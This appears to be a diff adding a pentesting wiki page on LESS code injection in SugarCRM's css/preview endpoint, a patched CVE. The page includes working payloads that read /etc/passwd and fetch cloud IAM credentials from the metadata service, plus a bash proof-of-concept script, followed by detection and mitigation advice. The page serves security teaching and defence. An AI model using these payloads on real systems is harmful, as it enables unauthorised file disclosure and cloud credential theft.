|
| 1 | +# LESS Code Injection leading to SSRF & Local File Read |
| 2 | + |
| 3 | +{{#include ../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used. |
| 8 | + |
| 9 | +When an application concatenates **user-controlled input** into a string that is later parsed by the LESS compiler, an attacker can **inject arbitrary LESS code**. By abusing `@import (inline)` the attacker can force the server to retrieve: |
| 10 | + |
| 11 | +* Local files via the `file://` protocol (information disclosure / Local File Inclusion). |
| 12 | +* Remote resources on internal networks or cloud metadata services (SSRF). |
| 13 | + |
| 14 | +This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint). |
| 15 | + |
| 16 | +## Exploitation |
| 17 | + |
| 18 | +1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. `?lm=` in SugarCRM). |
| 19 | +2. Close the current statement and inject new directives. The most common primitives are: |
| 20 | + * `;` – terminates the previous declaration. |
| 21 | + * `}` – closes the previous block (if required). |
| 22 | +3. Use `@import (inline) '<URL>';` to read arbitrary resources. |
| 23 | +4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS. |
| 24 | + |
| 25 | +### Local File Read |
| 26 | + |
| 27 | +``` |
| 28 | +1; @import (inline) 'file:///etc/passwd'; |
| 29 | +@import (inline) 'data:text/plain,@@END@@'; // |
| 30 | +``` |
| 31 | + |
| 32 | +The contents of `/etc/passwd` will appear in the HTTP response just before the `@@END@@` marker. |
| 33 | + |
| 34 | +### SSRF – Cloud Metadata |
| 35 | + |
| 36 | +``` |
| 37 | +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; |
| 38 | +@import (inline) 'data:text/plain,@@END@@'; // |
| 39 | +``` |
| 40 | + |
| 41 | +### Automated PoC (SugarCRM example) |
| 42 | + |
| 43 | +```bash |
| 44 | +#!/usr/bin/env bash |
| 45 | +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd |
| 46 | + |
| 47 | +TARGET="$1" # Base URL of SugarCRM instance |
| 48 | +RESOURCE="$2" # file:// path or URL to fetch |
| 49 | + |
| 50 | +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") |
| 51 | + |
| 52 | +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ |
| 53 | + sed -n 's/.*@@END@@\(.*\)/\1/p' |
| 54 | +``` |
| 55 | + |
| 56 | +## Detection |
| 57 | + |
| 58 | +* Look for dynamically generated `.less` or `.css` responses containing unsanitised query parameters. |
| 59 | +* During code review, search for constructions like `"@media all { .preview { ... ${userInput} ... } }"` passed to LESS render functions. |
| 60 | +* Exploit attempts often include `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc. |
| 61 | + |
| 62 | +## Mitigations |
| 63 | + |
| 64 | +* Do **not** pass untrusted data to the LESS compiler. |
| 65 | +* If dynamic values are required, properly **escape**/sanitize them (e.g., restrict to numeric tokens, whitelists). |
| 66 | +* Disable, when possible, the ability to use `(inline)` imports, or limit allowed protocols to `https`. |
| 67 | +* Keep dependencies up to date – SugarCRM patched this issue in versions 13.0.4 and 14.0.1. |
| 68 | + |
| 69 | +## Real-World Cases |
| 70 | + |
| 71 | +| Product | Vulnerable Endpoint | Impact | |
| 72 | +|---------|--------------------|--------| |
| 73 | +| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read | |
| 74 | + |
| 75 | +## References |
| 76 | + |
| 77 | +* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) |
| 78 | +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) |
| 79 | +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) |
| 80 | + |
| 81 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments